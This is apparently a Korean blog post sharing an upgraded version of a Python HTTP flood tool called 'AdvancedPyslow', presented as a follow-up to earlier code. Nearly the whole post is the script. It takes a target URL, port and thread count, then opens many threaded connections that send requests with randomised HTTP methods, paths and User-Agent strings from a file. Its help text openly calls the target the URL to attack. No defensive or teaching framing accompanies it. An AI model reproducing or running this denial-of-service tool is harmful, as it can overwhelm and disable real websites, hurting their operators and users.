지난번의 코드의 연장선이다.

version = '3.1'

# 필요한 라이브러리 import
import re
import os
import sys
import time
import string
import signal
import http.client
import urllib.parse
from random import choice, randint
from socket import *
from threading import Thread
from argparse import ArgumentParser, RawTextHelpFormatter

# 사용자 입력 처리
def get_args():
    parser = ArgumentParser(formatter_class=RawTextHelpFormatter)
    parser.add_argument("-u", "--url", required=True, help="공격할 URL을 입력하십시오.")
    parser.add_argument("-p", "--port", default=80, type=int, help="공격할 포트 번호 (기본값: 80)")
    parser.add_argument("-t", "--threads", default=100, type=int, help="스레드 수 (기본값: 100)")
    parser.add_argument("-s", "--sleep", default=0, type=float, help="스레드 간 대기 시간 (초, 기본값: 0)")
    return parser.parse_args()

# 패킷 전송 방식 고도화 클래스
class AdvancedPyslow:
    def __init__(self, tgt, port, threads, sleep):
        self.tgt = tgt
        self.port = port
        self.threads = threads
        self.sleep = sleep
        self.method = ['GET', 'POST', 'HEAD', 'PUT', 'DELETE']  # 다양한 HTTP 메소드
        self.user_agents = self.load_user_agents()  # User-Agent 목록 불러오기

    def load_user_agents(self):
        try:
            with open("./ua.txt", "r") as fp:
                return re.findall(r"(.+)\n", fp.read())
        except FileNotFoundError:
            print('[-] \'ua.txt\' 파일을 찾을 수 없습니다.')
            return []

    # 패킷 생성 함수
    def create_packet(self):
        method = choice(self.method)
        path = '/' + str(randint(1, 999999999))
        user_agent = choice(self.user_agents)
        return f"{method} {path} HTTP/1.1\r\nHost: {self.tgt}\r\nUser-Agent: {user_agent}\r\n\r\n"

    # 패킷 전송 함수
    def send_packet(self):
        try:
            with socket(AF_INET, SOCK_STREAM) as sock:
                sock.connect((self.tgt, self.port))
                packet = self.create_packet()
                sock.sendall(packet.encode())
                print(f"[+] 패킷 전송: {packet.strip()}")
        except Exception as e:
            print(f"[-] 패킷 전송 실패: {e}")

    # 스레드 실행 함수
    def run(self):
        threads = []
        for _ in range(self.threads):
            t = Thread(target=self.send_packet)
            t.start()
            threads.append(t)
            time.sleep(self.sleep)  # 스레드 간 대기 시간

        for t in threads:
            t.join()

if __name__ == "__main__":
    signal.signal(signal.SIGINT, signal.SIG_DFL)  # Ctrl+C 시 기본 시그널 처리
    args = get_args()
    target_ip = gethostbyname(args.url)  # 도메인에서 IP 주소 얻기
    print(f"[+] 공격 대상: {args.url} ({target_ip})")
    
    # 패킷 전송 고도화 클래스 인스턴스 생성 및 실행
    attack = AdvancedPyslow(target_ip, args.port, args.threads, args.sleep)
    attack.run()